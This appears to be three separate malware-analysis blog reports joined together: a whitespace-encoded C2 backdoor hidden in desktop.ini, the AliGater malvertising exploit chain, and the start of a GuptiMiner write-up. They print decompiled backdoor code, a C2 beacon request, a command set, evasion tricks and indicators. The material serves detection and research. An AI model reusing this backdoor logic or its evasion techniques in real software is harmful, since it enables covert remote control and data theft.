hFile = CreateFileA(ini_name, GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // both the subtraction and the comparison are unsigned (jbe, not jle) if ( hFile == INVALID_HANDLE_VALUE || (payload_size = GetFileSize(hFile, 0) - 174) &lt;= 0x31 ) ExitProcess(0);

</code></pre>
The filename arrives in two pieces, and not adjacent ones: sixteen lines of unrelated setup sit between the two <code>lstrcatA</code> calls. <code>\DESKTOP.</code> and <code>ini</code> are stored as separate literals in <code>.rdata</code>, so the string <code>desktop.ini</code> appears nowhere in the file. Grep the binary for it and you get nothing.
The size check is looser than it looks. The subtraction and the comparison are both unsigned — <code>jbe</code> in the disassembly — so it rejects only files of 174 to 223 bytes. <code>OPEN_ALWAYS</code> means a host with no config gets an empty <code>desktop.ini</code> created for it, <code>0 - 174</code> wraps to <code>0xFFFFFF52</code>, the guard passes, and the code asks the process heap for four gigabytes of zeroed memory. Nothing checks the result: on any machine that cannot satisfy that, the counting loop dereferences a null pointer. So on a host the operator never staged, the implant creates a zero-byte <code>C:\ProgramData\desktop.ini</code> and crashes on the spot.
Then it seeks to byte 174 and counts:
<pre><code>SetFilePointer(hFile, 174, 0, FILE_BEGIN); // skip the stock Windows header ReadFile(hFile, payload, payload_size, &amp;bytes_read, 0);

line = 0; i = 0; do { if ( payload[i] == 13 ) // CR: next line, skip the LF { ++line; i += 2; } else { ++line_lengths[line]; // count one character on this line } i += 2; // stride 2: the file is UTF-16LE } while ( i &lt; payload_size );

lstrcpyA(g_server, line_lengths); // the counts are the string lstrcatA(g_server, ".com");

</code></pre>
There is no key and no decryption. <code>line_lengths</code> is an array of bytes holding one count per line, and the last two statements hand that array to <code>lstrcpyA</code> as though it were a string. The number of characters on a line is the ASCII code of one character of the domain. This is unary encoding, the tally-marks of data formats.
The stride of 2 is there because the file is UTF-16LE, and the offset of 174 is not arbitrary: it is the exact byte length of a stock Windows <code>desktop.ini</code>, from the byte-order mark through a blank line, the <code>[.ShellClassInfo]</code> section header, <code>LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21781</code> and its closing CRLF. The attacker invented no file format. They took the real Windows file that gives the Program Files folder its localised display name and appended to it.
In an editor it looks like an ordinary system file with some trailing whitespace. Typed out as UTF-16LE strings, it is thirteen lines: the three-line stock header, then ten lines containing nothing else.

The addresses in that left column are the domain. Each line starts two bytes per space plus four for the CRLF after its predecessor, so <code>0x17A - 0xAE</code> is 204, giving 100 spaces and the letter <code>d</code>. Counting the spaces on each line of the sample we recovered gives ten numbers:
<table>
<thead>
<tr>
<th class="markdown-align-right">Line</th>
<th class="markdown-align-right">Spaces</th>
<th class="markdown-align-left">Character</th>
</tr>
</thead>
<tbody>
<tr>
<td class="markdown-align-right">1</td>
<td class="markdown-align-right">100</td>
<td class="markdown-align-left">d</td>
</tr>
<tr>
<td class="markdown-align-right">2</td>
<td class="markdown-align-right">105</td>
<td class="markdown-align-left">i</td>
</tr>
<tr>
<td class="markdown-align-right">3</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">4</td>
<td class="markdown-align-right">103</td>
<td class="markdown-align-left">g</td>
</tr>
<tr>
<td class="markdown-align-right">5</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">6</td>
<td class="markdown-align-right">116</td>
<td class="markdown-align-left">t</td>
</tr>
<tr>
<td class="markdown-align-right">7</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">8</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">9</td>
<td class="markdown-align-right">99</td>
<td class="markdown-align-left">c</td>
</tr>
<tr>
<td class="markdown-align-right">10</td>
<td class="markdown-align-right">107</td>
<td class="markdown-align-left">k</td>
</tr>
</tbody>
</table>
With the hardcoded suffix, the backdoor calls home to <code>diagrtrack.com</code>.
That name is a typosquat of <code>DiagTrack</code>, the Windows service better known by its display name, Connected User Experiences and Telemetry. The malware hid the address of its telemetry server inside a Windows shell configuration file, and named that server after the Windows telemetry service.
<pre><code>Twenty lines of Python recover the domain from any config of this shape:

HEADER_LEN = 174 # length of the stock Windows Program Files desktop.ini

def decode(path): with open(path, "rb") as fh: payload = fh.read()[HEADER_LEN:]

counts, current, i = [], 0, 0
while i &lt; len(payload):
 if payload[i] == 0x0D: # CR ends a line; skip the following LF
 counts.append(current)
 current = 0
 i += 4
 continue
 current += 1
 i += 2 # stride 2: UTF-16LE

if current:
 counts.append(current)

return "".join(chr(c) for c in counts) + ".com"
</code></pre>
The scheme is wasteful in a revealing way. Because each character costs as many UTF-16 spaces as its ASCII value, the config's size is a direct function of the domain it hides: <code>174 + 2 * sum(character codes) + 4 * lines</code>, which for <code>diagrtrack</code> gives 2,318 bytes exactly. The file size is a fingerprint of the domain, and the domain can be narrowed down from the file size alone.

<h2>The C2 protocol</h2>
Each victim gets an eight-character identifier: the CRC-32 of <code>USERNAME</code>, <code>USERDOMAIN</code> and <code>COMPUTERNAME</code> concatenated, formatted as <code>%08X</code>. The same value becomes the name of a mutex, and a second copy waits a second for it before giving up. That matters more than it sounds, because the first copy never gives up: the binary has exactly one <code>ExitProcess</code> call, in the configuration routine, reached only when the mutex is already held or the config is unusable. Past that point the process loops forever. The 19:50 trigger therefore fires to useful effect once per boot, and every later firing dies on the mutex.
The CRC is standard, but neither the polynomial nor the usual 256-entry lookup table is anywhere in the file. What is there is a 14-byte table of bit positions that the code walks at runtime, setting one bit per entry to rebuild <code>0xEDB88320</code>. That reads like an attempt to leave no constant for a scanner to key on, and it is not: it is zlib's <code>DYNAMIC_CRC_TABLE</code> build option, copied in whole. The appendix works out which decade the copy came from.
Every cycle then opens with an ICMP knock rather than an HTTP request. The backdoor resolves the domain, puts its eight-byte identifier in the payload of a 32-byte echo request, and waits a second for a reply. Only if the ping succeeds does it speak HTTP:
<pre><code>POST /version/check.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Type: application/x-www-form-urlencoded

a=&lt;id&gt;&amp;r=none
</code></pre>
A beacon with nothing to report sends <code>r=none</code>: the first one, and every cycle where the last response carried no command or only a <code>time</code> change. Otherwise <code>r</code> carries the previous command's output, base64-encoded and then URL-encoded. The user agent is a hardcoded Chrome 78 string, frozen at whatever was current when the author wrote it.
Tasking comes back in the response body, which the malware scans for the literal <code>CMD=</code>. There are three verbs:
<ul>
<li><code>system</code> runs a command through <code>cmd.exe</code>, captures stdout and stderr through a pipe, and gives up after 30 seconds with the text <code>cmd timeout</code></li>
<li><code>put</code> writes a file, taking a path and base64 content</li>
<li><code>time</code> changes the polling interval, which starts at five seconds</li>
</ul>
That is the whole command set. No file listing, no screenshots, no keylogging. Whatever the operator wanted, they were going to get it by shelling out and writing files.

<h2>Two smaller touches</h2>
The <code>put</code> handler does something odd before it writes. It base64-decodes the content, decrements the first byte and increments the second, writes the result to <code>tempcache.tmp</code>, renames that to the target path, and only then reopens the file to patch the correct two bytes back. A dropped executable therefore sits on disk with <code>L[</code> where its <code>MZ</code> signature belongs, right up until a final two-byte write. Anything scanning on file creation or rename sees something that is not a PE at all.
The same habit accounts for <code>cmd.exe</code>, which is absent from the binary in one piece and assembled at the call site:
<pre><code>wnsprintfA(buffer, 0xFFFF, "c%s%se /c %s", "md.", "ex", command);
</code></pre>
Neither trick would trouble a modern behavioural engine, but together they show what the author was worried about: on-access file scanners and string searches, enough to write awkward code to dodge them.

<h2>One machine, one dead domain</h2>
The dates are where this stops being a story about clever encoding.
The domain was registered on 23 July 2020 through a privacy proxy. The binary was compiled on 2 December 2020 at 13:34 UTC, and the config file on the victim's disk was created a little over three hours later. Build and deploy inside one afternoon.
Our software was installed twenty-one days later. Every date that follows is from the middle of the incident rather than the start, and the first evening the backdoor started on that machine is not something we have any record of.
The last DNS record we hold for <code>diagrtrack.com</code> is from March 2021. The registration lapsed that July and nobody renewed it. Nobody re-registered it either: the domain has no whois record today and does not resolve. Even the squatters passed.
The backdoor did not notice. We collected the same WMI subscription from that host three times, in February, August and October 2021, which is how we know the persistence stayed in place rather than being cleaned and reinstalled. When a detection we wrote for this file shape went live in June 2022, it fired on the same machine, and the config was still sitting in <code>C:\ProgramData</code>.
From the code we know what that machine did for the eleven months after the registration lapsed. At 19:50 the WMI consumer started the process, it counted the spaces, rebuilt <code>diagrtrack.com</code>, and called <code>getaddrinfo</code>, which failed. The failure changed less than you would think, because the address buffer is never initialised and nothing checks the return value: every five seconds the implant read whatever bytes happened to be on its stack, called <code>inet_addr</code> on them, and sent an ICMP echo to the result. Then it slept and did it again, until the machine was next rebooted. There was no one on the other end for any of it.

<h2>Detection opportunities</h2>
Configuration formats do not have to look like configuration formats. A routine that counts spaces is still a parser, and a file containing no suspicious strings, high-entropy blob or encoded text can still carry a C2 address in plain sight. Any pipeline that finds data mainly by looking for things that resemble data risks treating whitespace as empty.
Structural detections are more durable. A hash covers one binary and a domain block covers one address, but a rule describing the shape of this configuration survives changes to both.
Past byte 174, a legitimate <code>desktop.ini</code> should not consist entirely of UTF-16 spaces, carriage returns and line feeds. We deployed a detection for that structure in June 2022 and ran it until November. Across our user base, it fired only on the machine we already knew about. It would nevertheless detect another configuration using the same technique with a completely different domain.
The same characteristics also provide several inexpensive hunting opportunities:
<ul>
<li>
Look for <code>__EventFilter</code> and <code>CommandLineEventConsumer</code> pairs bound to <code>Win32_LocalTime</code>, particularly those launching executables from paths intended to resemble legitimate software.
</li>
<li>
Inspect <code>C:\ProgramData\desktop.ini</code>, especially when it contains the Program Files localization string <code>shell32.dll,-21781</code>.
</li>
<li>
Treat a zero-byte <code>C:\ProgramData\desktop.ini</code> as potentially significant. That is the crash artefact this implant creates when the operator has not staged a valid configuration.
</li>
<li>
Look for <code>desktop.ini</code> files containing a legitimate Windows header followed only by UTF-16 whitespace.
</li>
</ul>

<h2>Conclusion</h2>
Everything in this investigation came from one endpoint. That does not tell us how consequential the intrusion was, because we never captured a command, recovered a second-stage payload or established how the machine was first compromised. It does tell us that prevalence alone would have been a poor reason to ignore it.
The implant was custom-built, its configuration format was absent from the rest of our corpus, and searches for related binaries and protocol fragments found no convincing siblings. We assess with moderate confidence that it was deployed selectively, while stopping short of naming an actor or campaign.
By the time our detection found it, the C2 domain had been expired for eleven months. The backdoor was still starting at 19:50 after every reboot, rebuilding the address from lines of spaces, and trying to contact an operator who was no longer there.
The detection was not wrong. It was late.

<h2>Appendix: build and CRC provenance</h2>
Two details that change nothing about the story but pin down what the author built this with.
<h3>The missing runtime</h3>
<code>msvcrt.dll</code> is absent from the import table, and that absence took work. <code>SHLWAPI</code> is there to supply <code>wnsprintfA</code>, <code>StrStrA</code> and <code>StrToIntA</code> in place of <code>sprintf</code>, <code>strstr</code> and <code>atoi</code>, the <code>str*</code> family is <code>lstrcpyA</code> and friends from <code>KERNEL32</code>, and <code>memset</code> and <code>memcpy</code> are the author's own two routines, because the compiler emits calls to those whether you link a runtime or not. The binary also carries its own compiler receipt in <code>.rdata</code>:
<pre><code>GCC: (tdm64-1) 4.9.2
</code></pre>
That is TDM-GCC, a MinGW-w64 distribution, and the linker version of 2.24 and the missing Rich header agree with the string. The PE timestamp reads 2 December 2020, 13:34 UTC. A default build from that toolchain would enter at <code>mainCRTStartup</code> and import <code>msvcrt.dll</code>, so the runtime had to be left out on purpose and the entry point aimed at the author's own function.
<h3>The polynomial that is not there</h3>
The 14-byte table in <code>.rdata</code> is a list of bit positions:
<pre><code>0, 1, 2, 4, 5, 7, 8, 10, 11, 12, 16, 22, 23, 26
</code></pre>
At runtime the code walks that table and sets one bit per entry, counting down from bit 31:
<pre><code>for ( i = 0; i != 14; ++i )
 poly |= 1 &lt;&lt; (31 - tap_table[i]);
</code></pre>
The result is <code>0xEDB88320</code>, the reflected CRC-32 polynomial, which has exactly 14 bits set. Before crediting the author for that: this is zlib. The routine is <code>crc32()</code> line for line, from the null-pointer guard through the pre- and post-inversion to the eight-bytes-at-a-time unrolled loop, compiled with <code>DYNAMIC_CRC_TABLE</code> — the zlib build option that generates the lookup table on first use instead of shipping a kilobyte of constants — and GCC has inlined the static <code>make_crc_table</code> into it, which is why the table build sits inside the same function. zlib built the polynomial from that list of exponents from January 1996 until the 1.2.12 release, in March 2022, replaced it with a plain <code>#define POLY 0xedb88320</code>. The comment sitting directly above the list writes the same polynomial out longhand, as <code>x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1</code>, so the table is the polynomial as a mathematician would state it rather than a constant kept out of a scanner's way. It did not go away for tidiness either: the commit that removed it rewrote the whole routine around the interleaved CRC method of Kadatch and Jenkins, and the new <code>#define</code> was a byproduct of chasing a factor of three in speed.
The confirmation is in <code>.data</code>, which in this binary holds exactly one initialised variable: a <code>dd 1</code> that the CRC routine clears once the table exists. That is zlib's <code>crc_table_empty</code>. What is not there is the thread-safety flag zlib added in September 2004, so their copy of <code>crc32.c</code> came from some zlib released between 1996 and 2004, at least sixteen years stale by the time they compiled it. The missing constant is a build option, not tradecraft.

<h2>Indicators of Compromise</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>diagrtrack{.}com</td>
<td>C2 domain (expired, no longer resolves)</td>
</tr>
<tr>
<td>d411d93f358128c77aed0be91365b18cfb7575ecd188d22a216cbaeaa51c5e11</td>
<td>Backdoor, RtkNGUI64.exe</td>
</tr>
<tr>
<td>1cc5a4be7f2e41086b53e698b487e43426e5e572bc99e5de62eada9baf83bdcd</td>
<td>Whitespace-encoded config</td>
</tr>
<tr>
<td>C:\Program Files\Realtek\Audio\RtkNGUI64.exe</td>
<td>Fake install path</td>
</tr>
<tr>
<td>C:\ProgramData\desktop.ini</td>
<td>Config location</td>
</tr>
<tr>
<td>/version/check.php</td>
<td>C2 URI path</td>
</tr>
<tr>
<td>Realtek</td>
<td>WMI filter, consumer and binding name</td>
</tr>
</tbody>
</table>

A hand-written Windows backdoor stored its command-and-control domain as the number of trailing spaces in a fake desktop.ini, and we found it on exactly one machine.

A 12 KB Backdoor Hid Its C2 Domain in desktop.ini Whitespace

Malvertising is one of the dark sides of pervasive advertising on the modern web that continues to retain its relevance despite attempts to curb it. Investigation of the Lumma stealer’s infection chain led us to believe that there is a new contender in the malvertising field. This new malvertising platform is mostly focused on people in Europe, particularly France and Poland. Their current campaign is exploiting known vulnerabilities in outdated versions of Chrome. This typically affects users of out-of-live versions of Windows versions, such as Windows 7, which are no longer supported with the latest Chrome versions. At the same time, our telemetry has shown us a significant increase in Magniber ransomware activity within the same timeframe, leading to a suspicion that these activities may be linked.We have dubbed this new suspected malvertising provider AliGater. Like other malvertising platforms, they rely on legitimate ad services to redirect unsuspecting victims to their gateway. This gateway fingerprints the user, filters out potential victims and then redirects them to a malicious domain that will try to exploit vulnerabilities in their system. These exploits attempt to stealthily deploy the final payload using common tricks, such as embedding it within multiple legitimate-looking processes and threads.We will primarily focus on identifying the main components of AliGater’s operation, used exploits and provide insight into prevalence of this new malvertising provider.<h2>Infection Chain</h2>

The infection chain starts with an advertisement that redirects the unsuspecting victim to the initial gateway&nbsp;<code>aligate.homes</code>. This gateway fingerprints the user and, likely using the browser’s user agent, determines whether the victim may be susceptible to their exploits. Users that are identified as exploitable are redirected to a simple website mimicking a simple Google CAPTCHA. The rest are redirected to the legitimate AliExpress home page.

The purpose of this fake CAPTCHA is to fetch a JS script (<code>captcha.js</code>) from&nbsp;<code>https://{random_chars}.{two_random_words}.shop</code> that will fingerprint the victim’s environment (architecture, platform, WebGL, Chrome version) and send it to the C&amp;C server. Based on this information, the C&amp;C server will deliver a specific malicious payload tailored to the victim’s Windows and Chrome versions. This payload takes the form of an obfuscated JS with encrypted byte arrays with shellcodes. We have observed payloads containing exploits targeting JavaScript engine V8 (CVE-2023-2033) and a TrueType font parsing in Windows (CVE-2011-3402).<h5>Chrome Exploit (stage 1)</h5>The first encrypted buffer in the final JS contains a WebAssembly (Wasm) module which is decrypted using an XOR cipher with a variable-length key located at the beginning of the main encrypted buffer. The purpose of the Wasm module is to invoke a method that operates with an array of a different type than intended, leading to illegal access and manipulation of specific memory addresses. Consequently, the native shellcode (Stage 1) hidden in the second array is executed within the Chrome process utilizing the Wasm module.Stage 1, invoked by the Wasm module, consists of a simple code that searches the memory of the Chrome process for the key at the beginning of the first buffer within the final JS. Once the buffer is located and decrypted, the code execution jumps to stage 2, which then tries to exploit the Windows system.<h5>Windows Exploit (stage 2)</h5>The Win32 TrueType font parsing is an old known exploit (CVE-2011-3402) abused by the attackers to elevate the necessary privileges for subsequent operations. If the exploit is successful, stage 2 enumerates all processes in the system and attempts to open each one. Next, it injects a third stage into the opened process.<h5>Process Camouflage (stage 3)</h5>The purpose of this stage is to stealthily deploy the next stage (stage 4). Stage 3 creates a new, elevated process with the well-known system process names, such as <code>dllhost.exe</code>, <code>SearchIndexer.exe</code>, <code>spoolsv.exe</code>, <code>svchost.exe</code>, and <code>taskhost.exe</code>, and then injects the fourth stage into this new process.<h5>Payload Downloader (stage 4)</h5>Fourth stage is a simple stager that downloads the next stage (stage 5) via HTTP from a hardcoded URL, which is typically formatted as&nbsp;<code>http://&lt;IP&gt;/{two_random_words}.jpg</code>. The IP corresponds to the DNS record of one of the <code>*.shop</code> servers. Note that the actual IP address may differ from the one that was used to deliver said JS script. The downloaded shellcode is not encrypted and is executed directly using the processes with elevated privileges.<h5>Executor (stage 5)</h5>This last AliGater stage is responsible for deploying the final payload embedded within <code>*.jpg</code> file that has been downloaded in the previous stage. This stage will use a two-pronged approach to deploying the final payload.It will spawn another process from the <code>explorer.exe</code> processes, again from a list of well-known Windows executables (<code>pcaui.exe</code>, <code>SearchIndexer.exe</code>, <code>svchost.exe</code>, <code>systray.exe</code>, or <code>dllhost.exe</code>), which will be injected with the final payload. In a similar manner, it will also attempt to open another elevated process and execute the final payload from within. Therefore, the final payload may be executed twice. The final payload that has been distributed at the time of research has been identified as Lumma stealer.

<h2>Similarities to Ongoing Magniber Campaign</h2>While researching this new threat actor, we have also noticed a spike in Magniber activity. While we were unsuccessful in retrieving the final payload of Magniber campaign through AliGater, we could not help but notice many similarities between these two campaigns. The registration date of the <code>alligate.home</code> domain is tightly correlated with Magniber campaign. Moreover, we have noticed multiple parallels in specific parts of the AliGater’s infection chain and Magniber. Magniber and AliGater’s stagers use unusual methods of invoking syscalls and target the same group of victims: Windows 7 systems in Europe. They also used a very similar approach to string encryption. Due to this, we strongly believe that Magniber’s codebase and the codebase used for AliGater's stagers are related. This leads to a conjecture that Magniber’s authors may have started offering their infrastructure as a service.<h2>Command &amp; Control Infrastructure</h2>The C2 infrastructure is used to&nbsp;identify potential victims, deliver tailored exploits to their browsers and provide the final payload to be executed on the compromised machine. It consists of three key elements:<ol><li>Gateway – Facilitates initial contact and filters out potentially suspicious or unperceptive (read not exploitable) visitors before redirecting exploitable victim to a malicious domain.</li><li>Malicious domain – Fingerprints the visitor and delivers tailored exploits and shellcodes to the victim.</li><li>Payload distribution – Once the victim’s environment is assessed and a suitable payload is chosen, distribution endpoint will provide the final payload to the stager deployed by the exploit.</li></ol>&nbsp;

<h6>Gateway</h6>The malicious gateway, operating at IP address&nbsp;<code>176.31.142.36</code> and associated with the DNS record&nbsp;<code>aligate.homes</code> (created on July 6, 2024), employs several mechanisms to manage traffic and avoid detection. The main method preventing the gate analysis is IP filtering, ensuring that repeated requests from the same IP address are not allowed –&nbsp;<code>HTTP ERROR 404</code>.Users who are assessed as non-exploitable are redirected to the official AliExpress website using a&nbsp;<code>&lt;meta&gt;</code> refresh tag. However, users identified as potentially exploitable are redirected to the Malicious Domain. This redirection occurs via the&nbsp;<code>HTTP 302 Found</code> response, which includes a&nbsp;<code>Location</code> header that is dynamically generated.<h6>Malicious Domains</h6>The potential victim is redirected to the Malicious Domain following a specific naming convention:&nbsp;<code>https://{random_chars}.{two_random_words}.shop</code>. The&nbsp;<code>two_random_words</code> component of the domain name represents the malicious domain, which is alive approximately three days, and shares the same registrant for domains we observed. The subdomain, represented by&nbsp;<code>random_chars</code>, changes rapidly — approximately every second — to make detection and tracking more difficult.&nbsp;<h6>Payload Distribution</h6>IP addresses of the payload distribution endpoint are hardcoded within stage 4. Similarly to the same DNS where they always use the same registrant, the IP addresses belong to the same ASN number. Interestingly, these IP addresses are also frequently associated with other malicious domains of AliGater.<h2>Detections</h2>Our telemetry indicates that AliGater focuses primarily on outdated versions of Windows and Chrome systems. The most affected Windows versions are Windows 7 with SP1 followed by Windows 8.1. The reason behind this choice is simple – these are no longer supported by new Chrome versions, meaning that any discovered vulnerabilities are left unfixed.

The overwhelming majority of targeted systems used the following user agent:<code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36</code>In point of affected countries, the most prevalent locations are France and Poland, followed by Italy, Spain and Turkey. Based on this data, we assess that the European states are the campaign’s main targets.

<h2>Conclusion</h2>AliGater is the result of an unfortunate conjunction of two phenomena. The pervasiveness of the web advertising industry makes it a ripe target for malicious actors looking for delivery vehicles for their business. Similarly, there are still a huge number of people relying on outdated versions of Windows that are inherently locked due to old, unsupported versions of Chrome (and their software in general). This combination was exploited to deliver a complex multi-stage attack vector that utilizes the ad industry to redirect victims to their infrastructure and exploit their systems to deliver Lumma stealer.As per usual in the malvertising industry, AliGater’s infrastructure is highly dynamic, frequently cycling newly registered domains. Despite this dynamic, some patterns, such as registrants or ASN numbers, remain consistent.We have also noticed many similarities between Magniber and AliGater’s stagers. More specifically, their coding styles have multiple similarities and use the same unusual and inherently very limiting patterns. This leads us to believe that Magniber and AliGater’s stager binaries are related. This raises a possibility that Magniber’s authors may have started to offer their infrastructure as a service. Nevertheless, due to our limited knowledge of the Magniber infection chain, we cannot provide an assessment of this conjecture.In conclusion, AliGater’s ability to exploit outdated systems through suspicious ad services poses a significant security risk, particularly in Europe, which seems to be their primary focus. We can assume that AliGater may distribute other malware and that Magniber’s authors might expand their operation to include other threat actors. Therefore, we intend to continue monitoring their operations to understand their operation, infrastructure, and capabilities better.

Magniber ransomware and Lumma stealer are suspected

AliGater: Malvertising chasing users of outdated windows in Europe

<h2>Key Points</h2><ul><li>Avast discovered and analyzed a malware campaign hijacking an eScan antivirus update mechanism to distribute backdoors and coinminers</li><li>Avast disclosed the vulnerability to both eScan antivirus and India CERT. On 2023-07-31, eScan confirmed that the issue was fixed and successfully resolved</li><li>The campaign was orchestrated by a threat actor with possible ties to Kimsuky</li><li>Two different types of backdoors have been discovered, targeting large corporate networks</li><li>The final payload distributed by GuptiMiner was also XMRig</li></ul><h2>Introduction</h2>We’ve been tracking a curious one here. Firstly, GuptiMiner is a highly sophisticated threat that uses an interesting infection chain along with a couple of techniques that include performing DNS requests to the attacker’s DNS servers, performing sideloading, extracting payloads from innocent-looking images, signing its payloads with a custom trusted root anchor certification authority, among others.The main objective of GuptiMiner is to distribute backdoors within big corporate networks. We’ve encountered two different variants of these backdoors: The first is an enhanced build of PuTTY Link, providing SMB scanning of the local network and enabling lateral movement over the network to potentially vulnerable Windows 7 and Windows Server 2008 systems on the network. The second backdoor is multi-modular, accepting commands from the attacker to install more modules as well as focusing on scanning for stored private keys and cryptowallets on the local system.Interestingly, GuptiMiner also distributes XMRig on the infected devices, which is a bit unexpected for such a thought-through operation.The actors behind GuptiMiner have been capitalizing on an insecurity within an update mechanism of Indian antivirus vendor eScan to distribute the malware by performing a man-in-the-middle attack. We disclosed this security vulnerability to both eScan and the India CERT and received confirmation on 2023-07-31 from eScan that the issue was fixed and successfully resolved.GuptiMiner is a long-standing malware, with traces of it dating back to 2018 though it is likely that it is even older. We have also found that GuptiMiner has possible ties to Kimsuky, a notorious North Korean APT group, by observing similarities between Kimsuky keylogger and parts of the GuptiMiner operation. In this analysis, we will cover the GuptiMiner’s features and its evolution over time. We will also denote in which samples the particular features are contained or introduced to support the overall comprehension in the vast range of IoCs.It is also important to note that since the users rarely install more than one AV on their machine, we may have limited visibility into GuptiMiner’s activity and its overall scope. Because of this, we might be looking only at the tip of the iceberg and the true scope of the entire operation may still be subject to discovery.<h2>Infection Chain</h2>To illustrate the complexity of the whole infection, we’ve provided a flow chart containing all parts of the chain. Note that some of the used filenames and/or workflows can slightly vary depending on the specific version of GuptiMiner, but the flowchart below illustrates the overall process.The whole process starts with eScan requesting an update from the update server where an unknown MitM intercepts the download and swaps the update package with a malicious one. Then, eScan unpacks and loads the package and a DLL is sideloaded by eScan clean binaries. This DLL enables the rest of the chain, following with multiple shellcodes and intermediary PE loaders.Resulted GuptiMiner consists of using XMRig on the infected machine as well as introducing backdoors which are activated when deployed in large corporate networks.

<h2>Evolution and Timelines</h2>GuptiMiner has been active since at least 2018. Over the years, the developers behind it have improved the malware significantly, bringing new features to the table. We will describe the specific features in detail in respective subsections.With that said, we also wanted to illustrate the significant IoCs in a timeline representation, how they changed over time – focusing on mutexes, PDBs, and used domains. These timelines were created based on scanning for the IoCs over a large sample dataset, taking the first and last compilation timestamps of the samples, then forming the intervals. Note that the scanned dataset is larger than listed IoCs in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#ioc">IoC section</a>. For more detailed list of IoCs, please visit our <a href="https://github.com/avast/ioc/tree/master/GuptiMiner">GitHub</a>.<h3 id="domains-in-time">Domains in Time</h3>In general, GuptiMiner uses the following types of domains during its operations:&nbsp;<ul><li><code>Malicious DNS</code> – GuptiMiner hosts their own DNS servers for serving true destination domain addresses of C&amp;C servers via DNS TXT responses </li><li><code>Requested domains</code> – Domains for which the malware queries the DNS servers for </li><li><code>PNG download</code> – Servers for downloading payloads in the form of PNG files. These PNG files are valid images (a logo of T-Mobile) that contain appended shellcodes at their end </li><li><code>Config mining pool</code> – GuptiMiner contains two different configurations of mining pools. One is hardcoded directly in the XMRig config which is denoted in this group </li><li><code>Modified mining pool</code> – GuptiMiner has the ability to modify the pre-defined mining pools which is denoted in this group </li><li><code>Final C&amp;C</code> – Domains that are used in the last backdoor stage of GuptiMiner, providing additional malware capabilities in the backdoored systems </li><li><code>Other</code> – Domains serving different purposes, e.g., used in scripts&nbsp;</li></ul>Note that as the malware connects to the malicious DNS servers directly, the DNS protocol is completely separated from the DNS network. Thus, no legitimate DNS server will ever see the traffic from this malware. The DNS protocol is used here as a functional equivalent of telnet. Because of this, this technique is not a DNS spoofing since spoofing traditionally happens on the DNS network.&nbsp;Furthermore, the fact that the servers for which GuptiMiner asks for in the <code>Requested domain</code> category actually exist is purely a coincidence, or rather a network obfuscation to confuse network monitoring tools and analysts.

From this timeline, it is apparent that authors behind GuptiMiner realize the correct setup of their DNS servers is crucial for the whole chain to work properly. Because of this, we can observe the biggest rotation and shorter timeframes are present in the <code>Malicious DNS</code> group.&nbsp;Furthermore, since domains in the <code>Requested domain</code> group are irrelevant (at least from the technical viewpoint), we can notice that the authors are reusing the same domain names for longer periods of time.&nbsp;<h3 id="mutexes-in-time">Mutexes in Time&nbsp;</h3>Mutexes help ensure correct execution flow of a software and malware authors often use these named objects for the same purpose. Since 2018, GuptiMiner has changed its mutexes multiple times. Most significantly, we can notice a change since 2021 where the authors changed the mutexes to reflect the compilation/distribution dates of their new versions.&nbsp;

An attentive reader can likely observe two takeaways: The first is the apparent outliers in usage of <code>MIVOD_6</code>, <code>SLDV15</code>, <code>SLDV13</code>, and <code>Global\Wed Jun&nbsp; 2 09:43:03 2021</code>. According to our data, these mutexes were truly reused multiple times in different builds, creating larger timeframes than expected.&nbsp;Another point is the re-introduction of <code>PROCESS_</code> mutex near the end of last year. At this time, the authors reintroduced the mutex with the string in UTF-16 encoding, which we noted separately.<h3>PDBs in Time&nbsp;</h3>With regard to debugging symbols, the authors of GuptiMiner left multiple PDB paths in their binaries. Most of the time, they contain strings like <code>MainWork</code>, <code>Projects</code>, etc.&nbsp;

<h2 id="installation-process">Stage 0 – Installation Process&nbsp;</h2><h3>Intercepting the Updates</h3>Everyone should update their software, right? Usually, the individual either downloads the new version manually from the official vendor’s site, or – preferably – the software itself performs the update automatically without much thought or action from the user. But what happens when someone is able to hijack this automatic process?&nbsp;Our investigation started as we began to observe some of our users were receiving unusual responses from otherwise legitimate requests, for example on:&nbsp;<code>http://update3[.]mwti[.]net/pub/update/updll3.dlz</code>This is truly a legitimate URL to download the <code>updll3.dlz</code> file which is, under normal circumstances, a legitimate archive containing the update of the eScan antivirus. However, we started seeing suspicious behavior on some of our clients, originating exactly from URLs like this.&nbsp;What we uncovered was that the actors behind GuptiMiner were performing man-in-the-middle (MitM) to download an infected installer on the victim’s PC, instead of the update. Unfortunately, we currently don’t have information on how the MitM was performed. We assume that some kind of pre-infection had to be present on the victim’s device or their network, causing the MitM.&nbsp;<h3>Update Package</h3><code>c3122448ae3b21ac2431d8fd523451ff25de7f6e399ff013d6fa6953a7998fa3</code> <code>(version.dll, 2018-04-19 09:47:41 UTC)</code>Throughout the analysis, we will try to describe not just the flow of the infection chain, malware techniques, and functionalities of the stages, but we will also focus on different versions, describing how the malware authors developed and changed GuptiMiner over time.The first GuptiMiner sample that we were able to find was compiled on Tuesday, 2018-04-19 09:47:41 and it was uploaded to VirusTotal the day after from India, followed by an upload from Germany: <code>c3122448ae3b21ac2431d8fd523451ff25de7f6e399ff013d6fa6953a7998fa3</code>

